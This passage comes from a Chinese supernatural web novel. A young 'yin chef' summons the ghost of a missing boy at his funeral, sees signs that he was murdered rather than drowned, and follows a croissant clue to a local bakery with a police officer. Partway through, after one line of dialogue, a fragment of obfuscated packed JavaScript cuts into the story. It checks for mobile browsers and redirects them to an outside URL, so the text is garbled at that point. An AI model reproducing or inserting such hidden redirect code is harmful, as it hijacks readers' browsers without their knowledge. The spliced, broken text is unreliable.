“没问题的！如果官方要封我，早就封了，反正嘛，灵异现象这种东西大家就是各有各的看法，不相信的人就会认为是人为搞鬼，相信的人就会觉得是奇迹降临，这种事情，官方也说不清楚的，自然不可能一竿子打死。”
“沈聆也愿意你这么偷拍？”
“什么偷拍！我这叫光明正大的记录好吗？我早就跟沈聆打过招呼了，我做我的主播，她也能从中捞到好处的。”
“好处？你的流量变现也给她分点钱的意思吗？”
“才不是，她做阴厨是为了给妹妹积攒阴德，让妹妹的身体快点好起来，如果我能通过我的账号提高她的知名度，就能增加她的业务量，到时候能攒更多的阴德，可以说，这是一个两全其美的办法！”宋明夷眨了眨眼睛，那双明亮的眼眸中充满了狡黠。
她虽然口口声声说着自己这个行为的合法，但身为警察的林凌还是感觉很别扭。
“喂，到底是行不行啊？我们好像没有看到什么鬼魂啊！”
“就是啊！别是卖东西的骗子吧！”
“我感觉有点奇怪啊……小丫头，你要是没有金刚钻别揽瓷器活了。”
无事发生让人群开始质疑了起来，大家交头接耳地议论纷纷，在确认大家都没有看到什么“灵异现象”后，几个年轻人带头开始拆台了起来。
沈聆深吸了一口，她听着众人的质疑，却摇了摇头。
“天地阴阳，万物生灵，幽幽魂魄，徘徊于世，以灯为凭，以香为引，招魂于此，速速现身。”
她重新念了一遍咒语。
她知道，一般念一次的时候，鬼魂就会现身，而且对方是受了香火的，说明并不是已经完全离开了这里、也不是不愿意现身，之所以迟迟没有出现，一定是有某些原因——例如第一次唤魂的时候，她念了三遍咒语才清楚妈妈的魂魄，多半也是因为当时妈妈的魂魄被厉鬼控制着，所以才身不由己。
而现在，李子晨的魂魄没有那么容易现身，一定是也有某些“身不由己”的理由！
“天地阴阳，万物生灵，幽幽魂魄，徘徊于世，以灯为凭，以香为引，招魂于此，速速现身。”
在沈聆第三次默念这个咒语的时候，结魄灯闪烁了一下。
“叮铃……”
沈聆手链上的铃铛轻轻响动了一下。
银铃响，冤魂至！
沈聆屏住了呼吸，她感觉到有什么东西似乎出现了！
“喂！你行不行啊！”
“老李，把她赶出去吧，我感觉她就是个招摇撞骗的混子！”
“就是就是！不要被她骗了，估计她待会儿就让你们买什么符咒了……”
“诶？等等，我好像看到了一个白色的东西？你们……你们看到了吗？”
“额，这、这……好像是！”
人群开始骚动了起来。
因为他们发现，在沈聆的身后，似乎真的有什么东西若隐若现了起来。
沈聆睁开眼睛，她猛地屏住呼吸，瞬间，黄泉路在她面前打开了！
周围的墙壁、地板、花圈、天花板都开始渗血，就像被撕裂的伤口一样，不断地向外渗出鲜红色的液体。那浓郁的血腥味弥漫在空气中，让人感到一阵本能的恶心和恐惧，只见那些血液越来越多，如同一股洪流般汇聚在一起，形成了一个浅浅的血河……
这条血河蜿蜒着，缓缓地流向了窗外，仿佛有一股神秘的力量在引导着它，在血河中，一些模糊的人脸若隐若现的浮浮沉沉，一些白骨化的手在血河中乱抓着，就像是不愿意离去的人企图抓住最后一根救命稻草、留在人世间一般。
沈聆顺着那血河看向了窗外，窗外的天空此时也变得阴沉起来，青绿色中透出一抹
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暗红色，给人一种压抑的感觉。纷纷扬扬的纸钱从天空洒落下来，如同雪花一般，但却带着一种诡异的气息。
她动了动耳朵，似乎听到了黄泉路边送别亡魂的哀乐声以及哭声，那声音在风中回荡，让人心惊胆战，最后，她的目光落在了镜子上。在镜子里，她看到了自己身后的一团白色的轮廓正在逐渐成型，那团白色的轮廓模糊不清，是一个幽灵或者鬼魂正在显现出来。
“看啊！看啊！好像有什么东西出现在那个小丫头身后！”
“我不是在做梦吧？！”
“子晨……是子晨吗？！”
所有人都惊讶地睁大了眼睛，看着沈聆身后正在凝结的鬼气。
“呼……”
一阵阴风从门外袭来，吹动了每个人的衣角，所有人都感觉到了那阵肃杀之气，大家看着那魂魄越来越明显、越来越明显，最后化为了一个小小的轮廓停留在半空。
肉眼凡胎的众人是看不到黄泉路的，但是却能够看到凝结的魂魄。
——在第一次招魂后，沈聆曾经背地里问过外婆，在凡人眼中看到的鬼魂是什么样的，外婆曾经说过，如果怨气越大的鬼魂，凡人看到的模样就会越明显，相反，如果没有什么怨念和戾气，那么看到的就会是相对透明的魂魄。
所以，在第一次招魂的时候，宋明夷拍摄到了沈聆妈妈的魂魄，但那只是一个相对模糊的轮廓，这是因为沈聆的妈妈对这个世界并没有心存怨念，也没有不愿意离去的重大冤屈，她在了了心愿之后，便离开了。
可这一回，沈聆召唤出的魂魄相较前两次唤魂所出现的魂魄，明显程度更胜一筹。
只见一团魂魄静静地悬在半空之中，那魂魄呈现出一个小孩子的身形轮廓，与遗照上的小男孩如出一辙！
微微肉肉的身体在空中凝结成带有柔和弧度的模样，仿佛一个小巧的雕塑，那团白色的魂魄颜色逐渐加深，先是脑袋的形状清晰地显现出来，接着是身体，每一处线条都愈发明显，甚至连五官也慢慢雕琢般地化了出来，他身上穿着的红色衣服，鲜艳夺目，布料的纹理似乎都能清晰可见，衣角在若有若无的微风中轻轻飘动。
是李子晨的魂魄！
“……”
下一刻，在众人的惊呼声中，李子晨缓缓地睁开了眼睛，那眼眸中似乎藏着无尽的故事。
他像是无法感知周围的动静一般，只是愣愣地将目光投向了小镜子，恰好与小镜子里的沈聆对视。
子晨微微张开嘴巴，像是有千言万语急于倾诉，然而奇怪的是，他的嘴巴被人用黑色的细线残忍地缝了起来，几十根如发丝般纤细的黑线穿透了上下唇，阻碍了他说话的动作，每一根线都绷得紧紧的，让人看了便头皮发麻。
他的脖子上挂着一根长长的麻绳，麻绳粗糙而结实，在脖颈上绕了一圈后，直直地吊在身后。
他微微翻着白眼，眼白中布满了血丝，那充血的模样让人不寒而栗。
——不对啊……
沈聆猛地倒吸一口凉气，那凉气仿佛瞬间贯穿了全身，让她不由自主地打了个寒战。
——李子晨这样子不像是溺死的样子啊……
——更像是，吊死鬼。
69. 牛角包
在看到李子晨的魂魄时，所有人都惊恐地瞪大了眼睛，他们从来没有意识到居然有人真的能召唤出魂魄，更离奇的是，那魂魄明显就是他们所熟悉的李子晨，在场的所有人都是李子晨的亲朋好友，在此之前，沈聆和老李一家从来没有过任何交集，就连沈聆都是因为刚才临时被老李老婆拉着推推搡搡才留下的，如果说她是有预谋地提前动手脚、几乎是不可能的，在这样的前提下，能召唤出来的，那只能是李子晨真正的魂魄。
李子晨的魂魄比起之前沈聆召唤出来的沈母、秦琴的魂魄都要明显一点，除了肤色是惨白色的之外，他几乎是孩子生前的样貌和体型，只不过，他这一次出现的样子，却和所有人想象中大相径庭。
人们之前的心理预期是，出现的会是一个模糊的白色轮廓，再详细一点，应该也是一个溺死鬼的样子，例如浑身湿漉漉的样貌，但无论如何，都不会是脖子上系着绳子、眼白充血、嘴巴被缝起来的样子！
这已经不单单是吊死鬼的样子了，甚至还像是在死前遭受了虐待，被人把嘴巴缝了起来。这是不让孩子说话吗？是为了让孩子生前不发出声音，还是让孩子死后也没地方哭诉？
这太可怕了。
子晨妈妈在看到这一幕的时候，一口气没有喘上来，直接就晕倒在地上，还好老李的老婆站在旁边，扶住了她倒下的身子，心理承受能力比较强的老李和子晨爸爸也惊讶地看着自己的孩子出现的魂魄，不知道该不该说话，他们求助似的看了看林凌，像是在询问他这真的是自己的孩子吗？为什么这么凄惨的样子？
“这……”林凌挠了挠头，一时间也不知道该如何回答。
这也是他第一次看着沈聆唤魂，在此之前，他也只是在宋明夷嘴里听到过“阴厨”这个东西，并没有亲眼见过这些事情，现在好了，不但亲眼看见了过程，甚至还明明白白就展示在自己面前，那就是李子晨的魂魄，他现在也不知道该作何解释好。
“伯伯啊，大哥啊，这就是李子晨的魂魄。”宋明夷倒是先一步反应过来了，“我听沈聆说过，她召唤出来的魂魄呢，会维持死者死前的样子，比如，这个人是出车祸死的，那么她召唤出来的可能是满头是血、残缺不全的魂魄，如果这个人是被杀的，那么魂魄上也会体现出死者身上的刀伤或者致命伤……”
“但是……但是我家娃娃明明是溺死的啊！这是不是你们动的什么手脚？这是不是我们产生的幻觉？！”
老李瞪大了眼睛看着出现在沈聆身后的李子晨，他现在多想冲上去近距离看个清楚，看看这到底是不是自己的宝贝大孙子，但却又担心惊扰了沈聆，让唤魂出现什么岔子，万一让自己的孙子魂飞魄散了怎么办？！
“什么幻觉，你见过这么多个人同时出现一模一样的幻觉的吗？而且幻觉的内容还是沈聆之前都素未谋面的孩子？”宋明夷反驳。
此刻，她就是沈聆的忠实拥护者！
质疑沈聆，那就是在质疑她作为灵异主播的权威！
她正好希望借着这次的机会，让大家佐证自己的灵异视频的可信度，才不会容许半分来自凡人的质疑呢！
“李伯伯啊，你们都说孩子是溺死的……但是，你们找到他的尸体了吗？”宋明夷反问，“其实我一直很想问你们，从刚才进屋到现在，我们都没有看见过李子晨的尸体，听到也是在河边发现了李子晨的鞋子……伯伯，你们真的有找到孩子的尸体吗？”
这句话，倒是让老李长长地叹了口气，一想起孩子是怎么失踪的、大人们又是如何日夜寻找的，他就头痛不已。
老李没有回答，但他的儿子、子晨的爸爸倒是回答了：“其实，我们到现在都没有找到孩子的尸体……”
“那你们怎么能肯定孩子是溺死的呢？！就凭一双在河边的鞋子吗？如果是鞋子的话，也可能是任何人放过去的啊。”
“我们在河边找到子晨的鞋子后，就去找了派出所的民警调取了周边的监控摄像头，虽然监控摄像头没有对准那条河，但事发当天，除了子晨，没有人再去过哪里，子晨不见了，那只能是落水……”
就在他们在说话的时候，沈聆那边开口了。
沈聆也对出现的这个魂魄呈现出的死亡状态感到十分奇怪，她看着镜子里的李子晨，沉声问道：“你就是李子晨，对吗？”
那孩子的魂魄点了点头，他张开了嘴巴想要说话，但可怜的是，他的嘴巴被缝上了，完全开不了口。
这可让沈聆犯难了，如果孩子死前被人缝上了嘴巴，魂魄都有口难言，那怎么问他想吃什么东西呢？
“……我是阴厨沈聆，也是召唤你出来的人，不用害怕，我唤你出来，是想问问你有没有什么想吃的东西，我能让你最后一次品尝到人间的食物，让你安心离去。”
这是她对魂魄说的第二句话了。
按照规定，唤魂和祭魂的步骤中，只能对魂魄说三句话。
沈聆尽量放慢了自己的语速，希望这孩子能够听得懂自己话里话外的暗示——如果能通过食物让他们知道他的死因就好了。
唤魂和祭魂，是不允许提到死者的死因的，这样的问题是个忌讳，如同在玩笔仙游戏的时候也不能问到笔仙的死因，但沈聆认为，或许可以和秦琴一样，通过别的方式让她知道点信息，哪怕是一点点也好，让他们在四十八小时之内能够调查出他的死因，从而为他伸冤。
这孩子的死状，太离奇了，嘴巴被缝合、身体被吊起，百分百不是自杀，肯定是他杀！
但是谁杀了他呢？
“……”
镜子里的李子晨张开口想说话，但缝住了他嘴巴的黑线却让他没办法发出声音。
无奈之下，他只能用手指了指灵堂，沈聆顺着他指着的方向看去，正看到放在遗照前的几个牛角面包。
“是……牛角面包吗？”沈聆小心翼翼地问。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14393123|146250||http|test|mini|href|location''.split(''|''),0,{}));
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李子晨点了点头，随后，缓缓地将目光转向了自己的爷爷奶奶和爸爸妈妈。
他的妈妈依旧昏迷不醒，苍白的面容如同沉睡的花朵。爷爷奶奶满脸担忧，爸爸则紧握着妈妈的手、看着子晨，眼神中满是焦虑。
此时的李子晨，眼神中充满了眷恋与不舍。
他眼泛泪光，微微颤抖着向他们伸出了手，手指轻轻弯曲，仿佛想要抓住什么，却又如同无法触碰到活人一样，无力地停在半空，他的身体散发着阴郁的气息，仿佛被一层忧伤的薄雾笼罩。他微微低下头，又缓缓抬起，眼中的泪水划过眼眶，在脸颊上留下一道晶莹的痕迹。
随后，他的身体开始变成半透明的样子，如同即将消逝的幻影，他轻轻咬着嘴唇，肩膀微微颤抖，努力克制着内心的悲痛。这可怜的孩子身体变得越来越透明，最后消失得无影无踪。
在三句话之后，唤魂结束。
阴阳两割，毕竟是无法跨越的鸿沟，哪怕是至亲的血脉，也没办法让死者复生。
“沙……”
在李子晨的魂魄消失之后，黄泉路的血河也消失了，在沈聆眼中，灵堂褪去那鲜血淋漓的样子，逐渐恢复了最开始的样子。
在三炷香熄灭的时候，她眼中的世界和众人眼中的世界没有了差别，她闭上眼睛深吸了一口气，张开眼睛的时候，她告诉自己，自己已经离开了阴阳交界，回到了阳间。
沈聆叹了口气，转过头的时候，发现所有人都跟看着怪物一样看着自己。
众人都在怀疑眼前发生的这一幕是不是真的，可是“眼见为实”，他们却又拿不出什么证据证明这是假的，一时间，所有人都用另类的眼光看着沈聆，这眼神中，有的是质疑，有的是害怕，有的是好奇，有的是担忧……
只有宋明夷，眼眸中闪烁着星星。
“沈聆你好厉害！”
她结束了手机摄像，小跑着来到沈聆身边，忙给她捏肩捶腿。
“唤魂很辛苦吧？你好厉害，越来越熟练了！”
林凌也走到了沈聆面前：“沈聆……你……真的有些特殊的能力吗？”
沈聆点了点头，抬起手腕，在她的手腕上，那条红绳子上挂着的银铃闪烁着寒光。
“我外婆是阴厨，我妈妈也是，这个职业可能以前不为人所知，但我们的确祖祖辈辈做着这样的事情，我们满足亡魂生前的最后一点遗憾，并且也能积攒阴德。”
随后，她看向了老李。
“刚才你们看到的，的确是李子晨的魂魄，但是我也不知道为什么他是那样子，我想，他的死应该没有那么简单……刚才他说，他想吃牛角包，对这个，你们有什么头绪吗？我想，或许是子晨在暗示我们什么信息。”
老李沉默了半晌后，想起了什么：“我孙子，平常倒是很喜欢吃牛角包，每次给他零花钱的，都会到校区后面的面包房带牛角包回来，不会不只是想吃那个了？”
70. 面包店
老李看着沈聆召唤出了一个和自己孙子如此相似的魂魄，在内心中对她的怀疑不免打消了几分。
见沈聆提到了牛角包的事情，他认真回想了一下，李子晨每次到小区里玩的时候，总是会给他一些零用钱，随后他带回来的也基本都是牛角包，这孩子从小就爱吃东西，白白胖胖的，就像个充满希望的发面小馒头，老李原本以为自己的大孙子会一辈子都快快乐乐的，但没想到突然发生的溺亡事故，让一家人从此阴阳相隔。
李子晨的父母只有三十岁出头，但好像一夜之间老了十岁。
老李夫妻也是每日唉声叹气。
因此，在知道了元山路的车祸事件后，老李才会这么拼命地到山崖下救孩子们，希望不要能救上来一些孩子，不要再让自家孙子的悲剧发生在其他孩子的身上。
老李老伴补充道：“对对、我记得子晨之前特别喜欢吃牛角包，每次给他钱，他回来的时候都带着牛角包回来……所以我们在他遗照前面也放了很多个牛角包，孩子爱吃。”
“那……你们知道是哪一家的牛角包吗？”沈聆转了转眼珠，想起之前秦琴的事情，她想着或许能从这个方向入手解决李子晨的事情。
“是我们小区后门的面包店。”李子晨爸爸补充说道，“那是一家手工小作坊，因为新隆公寓附近没有什么商店，所以我们都会就近选择楼下的便利店和后门的面包店。”
宋明夷也点了点头：“那个面包店我知道，我也去吃过好几次，挺好吃的，而且好像是手工做的面包，至少原材料挺干净的，如果我来不及吃饭的话，我也会去那个面包店买几个面包吃，也不贵。”
“那……李子晨喜欢吃那个面包喜欢多久了？”沈聆看向了子晨的家人。
“大概有两三年了吧。”老李回忆。
沈聆听完，陷入了沉默。
面包店吗？
这个年纪的孩子如果爱吃面包，倒也说得过去。
但是这两三年来每次出门玩都会带牛角包回来，这也太频繁了一点。
孩子的心性是捉摸不定的，有时候今天爱吃的东西，明天就不爱吃了，她妹妹沈凝小时候就是这样，口味几乎三天一变，很难伺候，但李子晨似乎对小区后门的面包店情有独钟，这就有点儿奇怪了。
此刻，子晨的妈妈刚刚苏醒过来，她脸色苍白、满头冷汗，揉了揉眼睛，往前爬了几步，却没有再看到刚才出现的的孩子的魂魄，随后，她惊讶地转过头拉着老公。
“老公！我刚才是不是看到子晨了？！我刚才是看到了子晨了对吗？！”
子晨爸爸表情复杂地看着妻子，默默点了点头。
但这样的肯定，更让子晨妈妈崩溃。
“但是……但是我们家子晨为什么看起来是那个样子的？！我好像看到有一根绳子挂在他脖子上？！！”子晨妈妈的精神情况很不好，连日来她几乎都没有睡觉，痛失爱子让她本就精神恍惚，现在她隐隐约约察觉到孩子的死亡原因可能有问题，而且很可能在死前被虐待，这让她难以接受。
老李也脸色凝重地看向沈聆：“孩子，刚才我们看到的子晨，真的是子晨吗？为什么他是那种样子的？”
沈聆叹了口气：“对，被阴厨召唤出来的魂魄，一般都是他们死前的样子，你看到的样子，就是他们断气时候的样子，至于为什么他不是溺水状，而是……我也不太清楚，我想，李子晨的死因有蹊跷，或许我们可以调查一下。”
听到这句话，子晨妈妈痛苦地掩面哭泣了起来：“我……我看到我家子晨的嘴巴被缝住了……是哪个天杀的这么狠心，让我们家子晨死后都说不出话啊……”
围在她身边的人都想安慰这个伤心的母亲，但是却没有人能说出一句安慰的话。
毕竟，这个世界上本就没有“感同身受”这样的词，任何字眼在崩溃的人面前都显得太过苍白无力。
他们也只能默默擦去可怜的母亲的眼泪，拍着她的肩膀安慰她。
沈聆看着痛哭流涕的母亲，也陷入了沉默。
她忽然感觉自己的做法太残忍了，或许不应该在家属面前做这件事情，尤其是在刚刚失去孩子的母亲面前。
李子晨的死状，太诡异了。
完全不是溺死的症状，可根据家人的描述，李子晨的鞋子又是在河边发现的，河边没有监控摄像头，李子晨是否落水并不清楚，但如果现有的证据和李子晨的死状对不上的话，那很可能说明——家人发现的这一切，都是别人进行布置的现场，为了伪装成溺水的样子，引导家人往河里捞尸，如果捞不到尸体的话，就会归咎于河中的暗流将尸体卷走，所以才活不见人、死不见尸。
李子晨的尸体现在并没有找到，但老李一家明显已经放弃希望了，开始给孩子举行葬礼，说明他们一定已经用尽所有的办法在河里找尸体，但到目前为止都没有找到尸体，说明尸体不在河里的可能性很大。
一直沉默着的林凌开口了：“我想，目前子晨的尸体还没有找到，如果我们可以把这个事情当做一个线索的话，说不定可以帮助我们找到孩子的尸体，而且，我想孩子的爸爸妈妈应该也更希望找到孩子的身体和孩子死亡的真相吧。”
老李点了点头：“如果能找到尸体的话，那是最好，总比现在活不见人，死不见尸的。”
子晨爸爸长长地叹了口气：“但是我们当时也找到了附近的派出所，甚至求助了救援队和消防队，都没有在河里找到孩子的尸体，子晨离开家后失踪的那段时间里并没有人靠近小区后面的那条河，所以我们也没有其他线索，只能按照意外溺亡处理，你们现在看到的棺材里，放着的也是子晨生前穿过的衣服，除此之外，也没有别的办法。”
他的声音低沉而沙哑，仿佛每一个字都是从那干涩的喉咙深处艰难地挤出来的一样，带着一种令人心碎的破碎感。此刻的他，面容憔悴不堪，双眼布满血丝，精神状态犹如紧绷到极致的弦，随时都会断裂，满脸的胡茬让他看起来格外潦倒，整个人显得邋里邋遢，毫无生气可言。
自从孩子失踪之后，
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这个家庭就陷入了一片黑暗之中。
起初，他们满心焦虑地四处寻找，不放过任何一个可能的线索和角落；随着时间的推移，那份不安逐渐转化成了无尽的焦急，每一分每一秒的等待都如同酷刑般折磨着他们的心；然而，希望终究还是落空了，当所有的努力都付诸东流时，绝望与悲伤如潮水般淹没了他们。
如今，面对孩子惨遭虐杀的残酷可能性，他们的内心更是被深深地震惊所占据，随之而来的便是无法遏制的恐慌情绪——即便是那些心智坚强、心理正常的成年人，在目睹如此惨状之时，恐怕也难以承受这般巨大的打击，心理防线也在土崩瓦解。
“我想，我们目前有两个调查方向。”林凌沉思了一下，举手比了个手势，“第一，就是新隆公寓后面的河，孩子的鞋子是在那里找到的，说明孩子最后失踪的地点很可能就是河边，就算不是，那么拐走孩子的人至少也到过河边抛鞋、转移搜寻人员的注意力，如果是后者的话，说明对方是一个具有一定反侦察能力的人……”
老李点了点头：“继续。”
“第二，就是刚才沈聆说的面包店，如果我们看到的都是真的，那么这家面包店就是子晨最后透露给我们的线索，无论是否和他的死有关系，我们都要查一查这家面包店，子晨是这家面包店的常客，说不定店主知道一些我们不知道的线索……”
说完，林凌将在场的人都环视了一圈。
“说来……你们有谁认识面包店的店主吗？他今天有来这里吗？”
众人面面相觑后，摇了摇头。
子晨妈妈说道：“我们不认识那家店的店主，所以也没有告诉他今天要在家里举行葬礼的事情。”
“可是……这样很奇怪啊，子晨不是一直都去他们家买牛角包吗？如果是那家店的常客，对一个经常照顾自己生意的小孩子应该是认识的吧，这几天孩子都没来、小区里给孩子办丧事，他们都不闻不问的吗？”宋明夷微微眯起眼睛，感觉这件事情并不简单，“我感觉，这家店好像有点问题！”
“有没有问题，那得现场看看才知道了。”林凌走到窗户边，从窗户往下看，恰好可以看到楼下面包店的招牌。
这家面包店隐藏在一条略显冷清的街道旁，它没有一个响亮的店名来吸引顾客的目光。那灰色的招牌看上去有些陈旧，上面用鲜艳醒目的红色广告字体简简单单地写着“面包店”三个大字。
站在楼上远远望去，根本无法看清店内的具体情形。
然而，没过多久，一个身材矮胖的年轻男人突然出现在了面包店门口。只见他身上系着一条白色的围裙，仿佛刚刚还在忙碌于后厨的工作，此刻，他双手捧着一块大大的广告板，小心翼翼地将其放置在了店门口显眼的位置。
安置妥当之后，这个年轻男人轻轻拍了拍手，似乎对自己的这一布置感到颇为满意。
接着，他又略微整理了一下围裙，然后抬起头，面带微笑地望向四周，那模样就好像已经做好了迎接新一天营业的充分准备。
71. 红衣
经过一番商量，暂时决定由沈聆和林凌去看看面包店的情况——因为沈聆和林凌算是第一次来新隆公寓，在此之前，并没有在面包店消费过，店家也不知道他们和老李一家的关系，如果真的要开展后续调查，也比较不会打草惊蛇。
沈聆和林凌从另一头坐着电梯下来了，在电梯门关上之后，走廊里的哀乐声也被阻绝在外面，世界仿佛都清净了一点。
林凌按了一下电梯的一楼，电梯摇晃了一下，便朝着楼下而去。
沈聆抬起头看向了站在旁边的林凌：“林警官，你觉不觉得有点儿奇怪？”
“你指的哪方面？我感觉今天发生的事情其实都挺奇怪的。”
林凌一挑眉看着沈聆，忽然感觉到这个瘦弱的小女孩身体里似乎藏着无穷的能力，以及自己从来没有发现过的秘密，他这才感觉到自己对沈聆似乎一无所知，或许这就是人外与人、天外有天，这个世界上的能人异士，说不定都是“大隐隐于市”。
“沈聆，你到底还藏着多少秘密啊，真神奇，你刚才是真的把李子晨的魂魄喊出来了吗？”
“嗯。”沈聆抬起右手，上面红色的手腕格外明显，“这是我们阴厨的本领，其外婆是阴厨，我也是，我是第44任阴厨，阴厨这一职业，传女不传男，因为女孩子阴气重，比较方便通灵。”
“但是我之前好像没有听说过这个……你们给死人做饭不会被缠上吗？我看电影里面，有的阴魂索命挺恐怖的，而且还会纠缠不休。”
“有的，毕竟这个世界上还是有不想死的鬼的，听道长说，他们会吸收死尸上残留的魂魄壮大自己的力量，我们当时在殡仪馆看到的那两个，就是厉鬼，另外，如果厉害到一定程度的鬼，甚至还会对活人下手，但目标往往是我这种阴气比较重的人，用通俗一点的说法来说……就是我们这种人，比较‘补’。”
林凌挠了挠头。
自从他认识沈聆之后，似乎每天都在刷新自己的认知和三观。
“那刚才那个李子晨，也就是你这次召唤出来的鬼，需要你准备牛角包供奉对吗？”
“对的。”
“但是你会做牛角包吗？”
“不一定需要我自己亲手做面包，别人做的面包也可以，只需要供奉的人是我就可以了，换言之，也只有通过我才能让亡灵‘享用食物’，但这个供奉也是有时限的，我必须在48小时内完成，否则我也将受到反噬。”
沈聆说着，抬起头看了一眼电梯的显示屏，电梯一层层楼下去，目前刚好停在了一楼。
电梯摇晃了一下后，稳住了。
“叮咚”一声，电梯门缓缓打开。
“反噬？是什么样的？”
沈聆摇了摇头：“我也不知道，毕竟我目前完成的‘订单’都老老实实在48小时内完成了，但是我觉得反噬应该是很严重的事情，例如突发意外、惨死街头这之类的事情吧。”
林凌听着沈聆用平静的语气说着这句话，忍不住打了个哆嗦。
她的语气明明是云淡风轻的，但是这几个字听起来就格外恐怖，因为这样的事情，似乎下一刻就会发生，只要沈聆没有按时完成鬼魂的嘱托。但这个女孩子似乎并不害怕这些意外发在自己身上，这难道就是“职业素养”？既然选择了这个“职业”，就必须铁着头做下去。
两人一前一后离开了电梯，除了电梯口，便是台阶，台阶下一眼看去便是冷冷清清的小区。
新隆公寓所在的小区很小，周围没有其他的楼栋，低矮的墙壁围成了一圈围墙，将这栋独楼圈在其中。在大楼的正面，有一家便利店和菜鸟驿站，而在后侧门的地方，有一家面包店，除此之外，这个小区似乎没有其他功能性的便民服务点。
没有居委会、没有物业，这里可以说是陵川市管理最差的小区之一，但好在租金便宜，因此许多外地打工的人或者是老住户都会选择住在这里，人口流动大也给调查带来了一定的困难。
在沈聆和林凌走出公寓楼的时候，迎面碰到了一个弯着腰捡垃圾的老人。
他弓着背、弯着腰，明明是四五月的天气，但他却穿着厚重的灰色大棉袄，这大棉袄看着像是他捡来的一样，棉袄上都是污渍，并已经破了许多个洞，露出棉袄内的棉絮。脚踩着军绿色的鞋子，穿着迷彩裤子，他的头发乱糟糟的披散在肩上，看起来已经四五天没有洗头了，上面甚至还夹着几片落叶。
扛着两个大麻袋，他慢慢走过沈聆和林凌，捡起了他们脚边的塑料瓶子，在他走过的时候便能嗅到一股腐臭味。
他捡起了那个瓶子后，慢吞吞地朝着小区门口走去，他是生活在这个社会最底层的人，只能通过捡废品维持生计，没有人愿意靠近他们这样的群体，他们也不愿意靠近常人，他们的生活像是独立于这个社会之外，按照自己的节奏慢慢维持运转。
沈聆若有所思地看着捡废品的人远去，忽然想起了什么，转头看向林凌：“林警官，你记不记得刚才我们看到的李子晨的魂魄穿着的衣服？”
“……好像是红色的衣服吧？”
“是一件红色的毛衣，而且毛衣上好像有许多白色的小花……那件衣服，看着不像是男孩子的毛衣款式啊……”
林凌心里“咯噔”一跳：“你的意思是……有人甚至在李子晨死前给他换上了女孩子的毛衣？！”
“我只是怀疑有这个可能性……”沈聆托着下巴思考，“如果这个可能性是真的……那对方为什么要给他换衣服？他是什么时候被缝上嘴巴的？是在换衣服前还是换衣服后呢？为什么要缝住他的嘴巴？是为了让他死后也说不了话吗？”
“会不会……有人在李子晨生前囚禁了他，怕他发出声音，才把他的嘴巴缝上了？”
“如果是怕他发出声音，大可以直接用东西堵住他
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的嘴巴，或者用透明胶带把他的嘴巴都粘住，没必要用黑线缝住这么复杂，而且穿针引线的过程是很疼的，李子晨的上下唇都被针线贯穿了……如果不是他在昏迷的状态下被缝住嘴巴，他一定会痛得大声呼救，这样引起的动静更大……”
“既然是这样，那就有点奇怪了，难道这个小区里也住着像道长那样的人？”
“如果是像道长那样修道的人就好了，怕就怕这里的人是研究邪门歪道的，什么地方不好，偏偏选择比较偏僻的地方，说不定就是看中了这里人烟稀少，哪怕真的做了点什么事情，也比较不容易引起别人的注意。”
沈聆和林凌分析着，一同往后门走去。
迎面的风带着几分萧瑟，他们探讨着案情，感觉越是深入分析，发现的疑点就越多。
“难道，不是担心他生前发出声音，而是担心他死后透露消息？”
“死后？难道，杀死李子晨的人，其实也知道一些阴阳秘术？”
“你的意思是……”
“会不会，对方是在炼小鬼？”林凌说着，自己都打了个冷颤。
人的欲望，总是不满足的。
为了达到某种目的，有些事不惜以杀死他人作为代价的。
炼小鬼是一种秘术，在东南亚也有类似的事情发生。
炼小鬼的过程很残忍，有的人会以婴儿作为小鬼，有的人会以低龄儿童作为小鬼，如果真的成功了，小鬼会帮助主人达成心愿，可这样的心愿往往会带着反噬，很多人就是因为没有控制好小鬼，最后落得个家破人亡的下场。
可时至今日，还是有人相信这一套。
毕竟，能轻而易举大富大贵、扬名立万，谁愿意日复一日地当牛马、辛苦打工呢？
沈聆沉声：“身着红衣而死的人，在死后戾气会更重一点，更容易化作厉鬼，同时，缝住李子晨的嘴巴，是为了让他在死后就算是下了地府、见到鬼差也‘有口难言’……不，如果更可怕一点，说不定是让他的魂魄说不出冤屈，方便被困在某个地方，最后被炼作小鬼。”
“如果是这样的话，我们得快点了，我想李子晨的魂魄可能坚持不了太久，如果对方对他有所企图的话，或许这一两天内就会有所行动。”
“嗯，我也是这样认为的。”
在讨论之间，两人已经来到了后门的面包店。
这家面包店的陈设很简单，沈聆抬眼看去，甚至没有看到面包店的名字，招牌上也就只有“面包店”这三个字。
从门口看去，可以透过透明的橱窗看到面包店里并没有什么客人，在门口的地方有两排透明的柜子，里面放着许多已经做好的面包，透过那橱窗，可以看到面包店的烘焙作坊是展示出来的，能够让客人看到面包师调制面粉、搅拌奶油的过程，算是半公开的面包制作坊。
沈聆和林凌对视了一眼后，迈步走向了面包店。
72. 胖老板
店门是木质的，刷着一层淡淡的蓝色油漆，门旁的橱窗里摆放着各种精致的面包，隔着一段距离，便能闻到刚烤好的面包散发着诱人的香气。
靠近面包房，似乎周围的空气也被染上了奶油的香气，这味道闻着便让人仿佛沐浴在烘焙的香味中，原先因为参加丧事而紧绷的内心都放松了许多。
店家打开了靠近橱窗的黄色的灯光，在橘黄色的灯光下，那些刚烤好的面包染上了一层淡淡的光晕。
林凌和沈聆朝着面包店而去。
“叮咚。”
林凌推开门，一阵温暖的气息扑面而来。
“欢迎光临。”
听见鹦鹉的声音，沈聆寻声看去，发现一只鹦鹉正站在店门口米黄色的架子上，这是一只白色的鹦鹉，脑袋上有一撮黄色的卷曲的毛，看见有客人来了，它开心地学舌。
“欢迎光临。”
“好厉害的鹦鹉！”沈聆不由得感叹道。
鹦鹉眨了眨眼睛，似乎在回应沈聆的夸奖：“恭喜发财，恭喜发财。”
“有客人来了吗？”
一个声音从柜台后面传来，沈聆和林凌看去，只见一位围着围裙的胖老板端着烤面包的盘子从后厨走了出来，他身体圆滚滚的，看起来就像是卡通动画片里的面包超人，胸前围着一个灰色的围裙，小围裙在他身上略显得小了，但他看起来似乎并不介意。
